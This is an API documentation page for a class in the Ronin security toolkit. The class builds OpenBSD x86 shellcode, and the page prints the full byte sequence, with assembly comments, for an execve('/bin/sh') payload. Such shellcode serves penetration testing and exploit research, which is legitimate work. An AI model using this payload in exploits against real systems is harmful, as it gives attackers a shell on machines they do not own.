Class: Ronin::Payloads::Shellcode::OpenBSD::X86::ExecShell
- Inherits:
-
ExecShellPayload
- Object
- Payload
- BinaryPayload
- ASMPayload
- Ronin::Payloads::ShellcodePayload
- ExecShellPayload
- Ronin::Payloads::Shellcode::OpenBSD::X86::ExecShell
- Defined in:
- lib/ronin/payloads/builtin/shellcode/openbsd/x86/exec_shell.rb
Overview
OpenBSD x86 shellcode that calls execve()
with /bin/sh
.
Instance Attribute Summary
Attributes inherited from Payload
Instance Method Summary collapse
-
#build ⇒ Object
Builds the shellcode.
Methods inherited from Ronin::Payloads::ShellcodePayload
Methods inherited from ASMPayload
#assemble, assembler, payload_type
Methods included from Metadata::OS
Methods included from Metadata::Arch
Methods inherited from BinaryPayload
Methods inherited from Payload
#built?, #built_payload, #bytesize, #cleanup, #encode_payload, #encoded_payload, encoder_class, #initialize, #length, payload_type, #perform_build, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #perform_validate, #postlaunch, #prelaunch, #rebuild_payload, #reencode_payload, register, #to_s, #validate
Constructor Details
This class inherits a constructor from Ronin::Payloads::Payload
Instance Method Details
#build ⇒ Object
Builds the shellcode.
55 56 57 58 59 60 61 62 63 64 65 66 67 68 |
# File 'lib/ronin/payloads/builtin/shellcode/openbsd/x86/exec_shell.rb', line 55 def build @payload = "\x99" + # cltd "\x52" + # push %edx "\x68\x6e\x2f\x73\x68" + # push $0x68732f6e "\x68\x2f\x2f\x62\x69" + # push $0x69622f2f "\x89\xe3" + # mov %esp,%ebx "\x52" + # push %edx "\x54" + # push %esp "\x53" + # push %ebx "\x53" + # push %ebx "\x6a\x3b" + # push $0x3b "\x58" + # pop %eax "\xcd\x80" # int $0x80 end |